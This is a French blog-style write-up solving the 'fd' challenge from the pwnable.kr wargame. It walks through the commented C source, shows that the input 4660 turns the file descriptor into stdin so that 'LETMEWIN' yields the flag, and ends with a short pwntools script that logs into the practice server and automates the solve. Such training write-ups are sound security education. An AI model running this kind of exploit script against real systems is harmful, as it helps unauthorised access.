Aujourd'hui on s'attaque au challenge "fd" de pwnable.kr.

Etape 1: Récupérer le code source et le comprendre

Pour ça on se connecte en SSH et on récupère le fichier fd.c.

Je me suis permis de commenter le code pour le rendre plus compréhensible.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char buf[32];

int main(int argc, char* argv[], char* envp[]){
		// Vérifie qu'on a bien passé 1 argument en paramètre
        if(argc<2){
                printf("pass argv[1] a number\n");
                return 0;
        }
        //  L'argument est converti en entier 
        // Puis on soustrait 1234h a cet argument
        int fd = atoi( argv[1] ) - 0x1234;
        
        // Le resultat est utilisé comme pointeur sur
        // un file descriptor
        int len = 0;
        len = read(fd, buf, 32);
        
        // L'information récupèrée depuis le FD 
        // et comparée à la string "LETMEWIN"
        // Si la comparaison est valide alors on récupère le flag
        if(!strcmp("LETMEWIN\n", buf)){
                printf("good job :)\n");
                system("/bin/cat flag");
                exit(0);
        }
        // Si on a une erreur sur le FD alors 
        // on a un jolie message de conseil
        printf("learn about Linux file IO\n");
        return 0;

}

Pour résumer:
- On passe un argument en paramètre qui est converti en entier
- On soustrait 1234h à cet argument et on s'en sert comme File Descriptor

Etape 2: Exploitation

Les files descriptors sous linux sont:

Ce qu'on cherche à faire c'est que le FD ait la valeur 0 pour pouvoir prendre une input depuis le clavier et ensuite entrer le mot de passe "LETMEWIN".
Pour ça il faut résoudre l’équation suivante:

=> x - 1234h = 0
=> x - 4660‬ = 0 => x = 4660

Bonus

On peut automatiser cette exploitation via un script python et la librairie pwntools

#!/usr/bin/python

from pwn import *

shell = ssh('fd' ,'pwnable.kr' ,password='guest', port=2222)
process = shell.process(executable='./fd', argv=['fd','4660'])
process.sendline('LETMEWIN')
print process.recv()

Social et Media

Comme toujours je suis disponible sur Twitter et cie, si vous avez des questions, des remarques, des suggestions etc. N’hésitez pas !

Twitter: @GhostAgs

Discord: hackraw